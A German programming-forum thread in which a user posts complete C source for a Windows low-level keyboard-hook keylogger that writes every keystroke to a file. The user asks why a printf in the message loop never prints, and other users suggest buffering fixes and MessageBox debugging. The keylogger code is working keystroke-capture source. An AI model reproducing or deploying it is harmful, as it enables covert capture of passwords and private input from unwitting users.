Keylogger - GetMessage, TranslateMessage, DespatchMessage

Schnelle objektorientierte, kompilierende Programmiersprache.
Antworten
linz
Beiträge: 5
Registriert: Do Dez 07, 2017 12:19 pm

Keylogger - GetMessage, TranslateMessage, DespatchMessage

Beitrag von linz » Do Dez 07, 2017 12:29 pm

Hallo,
ich versuche gerade einen Keylogger in C zu schreiben(nach Vorlage). Wer sich dafür interessiert (meine Frage ist eine reine C-Frage) hier ein Link für die IO-Kbd-Verarbeitung unter Windows.
Ich versuche dabei das Prinzip der CallbackFunction zu verstehen.

Meine Frage ist:
Wieso wird der printf zwischen <TranslateMessage> und <DsipatchMessage> nicht ausgegeben? Die Funktionen werden ja definitv ausgeführt, weil auch das "mylog.txt" mit den richtigen einträgen erstellt wird.

Code: Alles auswählen

//#define NTDDI_WIN7 0x06010000
#define _WIN32_WINNT 0x0500

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <time.h>

// Declares the hook to OS https://www.aldeid.com/wiki/LowLevelKeyboardProc
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
void log(char *str);
char *translate(int vk, int up);

int shift = 0, caps = 0;
FILE *fd;

int main(int argc, char *argv[]) {
    // Handle for the windows hook-procedure
    HHOOK hKeyHook;

    // Get a handle for a window
    HWND self = GetConsoleWindow();

    // Set window-size
    ShowWindow(self, SW_SHOW);

    // If this parameter is NULL, GetModuleHandle returns a handle to the file used to create the calling process (.exe file).
    HINSTANCE app = GetModuleHandle(NULL);

    // Installs an application-defined hook procedure into a hook chain
    // WH_KEYBOARD_LL for low-level input events
    // LowLevelKeyboardProc = A pointer to the hook procedure
    // app = A handle to the DLL containing the hook procedure pointed to by the lpfn parameter. The hMod parameter must be set to NULL if the dwThreadId parameter specifies a thread created by the current process and if the hook procedure is within the code associated with the current process.
    // 0 = The identifier of the thread with which the hook procedure is to be associated. For desktop apps, if this parameter is zero, the hook procedure is associated with all existing threads running in the same desktop as the calling thread.
    // If the function succeeds, the return value is the handle to the hook procedure.
    hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, app, 0);

    // MSG structure: Contains message information from a thread's message queue.
    MSG msg;
    const char *fname = "mylog.txt";
    fd = fopen(fname, "w");

    // Retrieves a message from the calling thread's message queue. The function dispatches incoming sent messages until a posted message is available for retrieval.
    while (GetMessage(&msg, NULL, 0, 0) > 0) {
        // Translates virtual-key messages into character messages. The character messages are posted to the calling thread's message queue, to be read the next time the thread calls the GetMessage
        TranslateMessage(&msg);
        printf("inBetween");

        // Dispatches a message to a window procedure. It is typically used to dispatch a message retrieved by the GetMessage function.
        DispatchMessage(&msg);
    }
    fflush(fd);
    fclose(fd);
    return 0;
}

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    // Contains information about a low-level keyboard input event.
    KBDLLHOOKSTRUCT *kb=(KBDLLHOOKSTRUCT *)lParam;
    char *str="[X]";
    if (wParam == WM_KEYUP) {
        // vkCode = A virtual-key code. The code must be a value in the range 1 to 254.
        str = translate(kb->vkCode, 1);
    } else if (wParam == WM_KEYDOWN) {
        str = translate(kb->vkCode, 0);
    }
    if (str) {
        log(str);
    }
    return 0;
}

void log(char *str) {
    fwrite(str, 1, strlen(str), fd);
    if (strstr(str," ") || strstr(str,"[CR]")) fflush(fd);
}

char* translate(int vk, int up) {
    if (up) {
        if ((vk == 0x10) || (vk == 0xa0) || (vk == 0xa1)) shift = 0;
        return 0;
    } else if ((vk==0x10)||(vk==0xa0)||(vk==0xa1)) {
        shift=1; return 0;
    }
    char *buf = (char*)malloc(16);
    memset(buf, 0, 16);
    if (vk < 0x29) {
        switch (vk) {
            case 0x08: strcpy(buf, "[BS]"); break;
            case 0x09: strcpy(buf, "[TAB]"); break;
            case 0x0d: strcpy(buf, "[CR]"); break;
            case 0x14: caps ^= 1; break;
            case 0x20: buf[0] = ' '; break;
            case 0x25: strcpy(buf, "[LT]"); break;
            case 0x26: strcpy(buf, "[UP]"); break;
            case 0x27: strcpy(buf, "[RT]"); break;
            case 0x28: strcpy(buf, "[DN]"); break;
        }
        return buf;
    }
        if (vk > 0x69 && vk < 0x70) {
            buf[0] = (char)(vk - 0x40);
        } else if (vk > 0x6f && vk < 0x88) {
            sprintf(buf, "[F%d]", vk - 0x6f);
        } else if (isalpha(vk)) {
            if (!caps)
                if (shift) { buf[0] = (char)(toupper(vk)); } else { buf[0] = (char)(tolower(vk)); }
            else
                if (!shift) { buf[0] = (char)(toupper(vk)); } else { buf[0] = (char)(tolower(vk)); }
        } else {
            switch (vk) {
            case '1': if (!shift) {buf[0]=(char)vk;} else {buf[0]='!';} break;
            case '2': if (!shift) {buf[0]=(char)vk;} else {buf[0]='@';} break;
            case '3': if (!shift) {buf[0]=(char)vk;} else {buf[0]='#';} break;
            case '4': if (!shift) {buf[0]=(char)vk;} else {buf[0]='$';} break;
            case '5': if (!shift) {buf[0]=(char)vk;} else {buf[0]='%';} break;
            case '6': if (!shift) {buf[0]=(char)vk;} else {buf[0]='^';} break;
            case '7': if (!shift) {buf[0]=(char)vk;} else {buf[0]='&';} break;
            case '8': if (!shift) {buf[0]=(char)vk;} else {buf[0]='*';} break;
            case '9': if (!shift) {buf[0]=(char)vk;} else {buf[0]='(';} break;
            case '0': if (!shift) {buf[0]=(char)vk;} else {buf[0]=')';} break;
            case 0xba: if (!shift) {buf[0]=';';} else {buf[0]=':';} break;
            case 0xbb: if (!shift) {buf[0]='=';} else {buf[0]='+';} break;
            case 0xbc: if (!shift) {buf[0]=',';} else {buf[0]='<';} break;
            case 0xbd: if (!shift) {buf[0]='-';} else {buf[0]='_';} break;
            case 0xbe: if (!shift) {buf[0]='.';} else {buf[0]='>';} break;
            case 0xbf: if (!shift) {buf[0]='/';} else {buf[0]='?';} break;
            case 0xc0: if (!shift) {buf[0]='`';} else {buf[0]='~';} break;
            case 0xdb: if (!shift) {buf[0]='[';} else {buf[0]='{';} break;
            case 0xdc: if (!shift) {buf[0]='\\';} else {buf[0]='|';} break;
            case 0xdd: if (!shift) {buf[0]=']';} else {buf[0]='}';} break;
            case 0xde: if (!shift) {buf[0]='\'';} else {buf[0]='\"';} break;
            }
        }
    return buf;
}

nufan
Wiki-Moderator
Beiträge: 2557
Registriert: Sa Jul 05, 2008 3:21 pm

Re: Keylogger - GetMessage, TranslateMessage, DespatchMessag

Beitrag von nufan » Do Dez 07, 2017 1:44 pm

Hallo linz! :)

Die Standardausgabe ist zeilenweise gepuffert. Versuch mal ein Newline an die Ausgabe anzuhängen:

Code: Alles auswählen

printf("inBetween\n");

linz
Beiträge: 5
Registriert: Do Dez 07, 2017 12:19 pm

Re: Keylogger - GetMessage, TranslateMessage, DespatchMessag

Beitrag von linz » Do Dez 07, 2017 2:18 pm

Hi Nufan!

das habe ich gerade versucht. Leider ohne Erfolg. Auch ein fflush(stdout) und das gleiche jeweils mit stderr hat nicht geklappt.

Ein Aufruf von log("inBetween\n") verursacht auch keinen Eintrag im Log.

Ich frage mich wie das sein kann, weil die Funktionen ja definitv durchlaufen werden....

Benutzeravatar
Xin
nur zu Besuch hier
Beiträge: 8858
Registriert: Fr Jul 04, 2008 11:10 pm
Wohnort: /home/xin
Kontaktdaten:

Re: Keylogger - GetMessage, TranslateMessage, DespatchMessag

Beitrag von Xin » Do Dez 07, 2017 2:58 pm

linz hat geschrieben:Hi Nufan!

das habe ich gerade versucht. Leider ohne Erfolg. Auch ein fflush(stdout) und das gleiche jeweils mit stderr hat nicht geklappt.

Ein Aufruf von log("inBetween\n") verursacht auch keinen Eintrag im Log.

Ich frage mich wie das sein kann, weil die Funktionen ja definitv durchlaufen werden....
Du kannst sicherheitshalbre ja mal eine MessageBox positionieren. Wieso gehst Du davon aus, dass die Funktion durchlaufen wird?
Merke: Wer Ordnung hellt ist nicht zwangsläufig eine Leuchte.

Ich beantworte keine generellen Programmierfragen per PN oder Mail. Dafür ist das Forum da.

linz
Beiträge: 5
Registriert: Do Dez 07, 2017 12:19 pm

Re: Keylogger - GetMessage, TranslateMessage, DespatchMessag

Beitrag von linz » Do Dez 07, 2017 3:22 pm

Wie meinst du das mit der MessageBox? Dort den Output weiterleiten?

Ich denke deshalb dass die Funktion durchlaufen wird, da, wenn ich vor der <while (getmessage,...)> eine <while(1){}> einfüge, keine Daten mehr geloggt werden...

Benutzeravatar
Xin
nur zu Besuch hier
Beiträge: 8858
Registriert: Fr Jul 04, 2008 11:10 pm
Wohnort: /home/xin
Kontaktdaten:

Re: Keylogger - GetMessage, TranslateMessage, DespatchMessag

Beitrag von Xin » Do Dez 07, 2017 4:07 pm

linz hat geschrieben:Wie meinst du das mit der MessageBox? Dort den Output weiterleiten?
Nein, die MessageBox einfach als Versicherung, dass dieser Punkt überhaupt erreicht wird.
linz hat geschrieben: Ich denke deshalb dass die Funktion durchlaufen wird, da, wenn ich vor der <while (getmessage,...)> eine <while(1){}> einfüge, keine Daten mehr geloggt werden...
Das kann auch einfach dadurch kommen, wenn vorher kein Flush kommt.
Merke: Wer Ordnung hellt ist nicht zwangsläufig eine Leuchte.

Ich beantworte keine generellen Programmierfragen per PN oder Mail. Dafür ist das Forum da.

linz
Beiträge: 5
Registriert: Do Dez 07, 2017 12:19 pm

Re: Keylogger - GetMessage, TranslateMessage, DespatchMessag

Beitrag von linz » Do Dez 07, 2017 4:16 pm

Du hast recht. Ein:

Code: Alles auswählen

 MessageBox(self, "nothing to display", 0, MB_ABORTRETRYIGNORE);
VOR der <while> wird angezeigt, während es IN der <while> (an erster postion) nicht mehr kommt, auch nicht nach Tastendruck.
Das bedeutet man läuft doch nicht rein :-/

nufan
Wiki-Moderator
Beiträge: 2557
Registriert: Sa Jul 05, 2008 3:21 pm

Re: Keylogger - GetMessage, TranslateMessage, DespatchMessag

Beitrag von nufan » Do Dez 07, 2017 4:43 pm

Du meintest doch in deinem ersten Beitrag, dass die beiden Funktionen innerhalb der Schleife erfolgreich in die Log-Datei schreiben. Oder hab ich das falsch verstanden?

linz
Beiträge: 5
Registriert: Do Dez 07, 2017 12:19 pm

Re: Keylogger - GetMessage, TranslateMessage, DespatchMessag

Beitrag von linz » Do Dez 07, 2017 7:36 pm

Nein, die schreiben leider nicht. Nur die Callback function schreibt. Ich glaube es ist ein Verständnisproblem. In diesem anderen Beispiel wird GetMessage() zum Abbruch des eigenen Threads benutzt. Aber eigentlich ist das Funktionsprinzip das gleiche.

Hier noch ein Link zur GetMessage() funktion

Antworten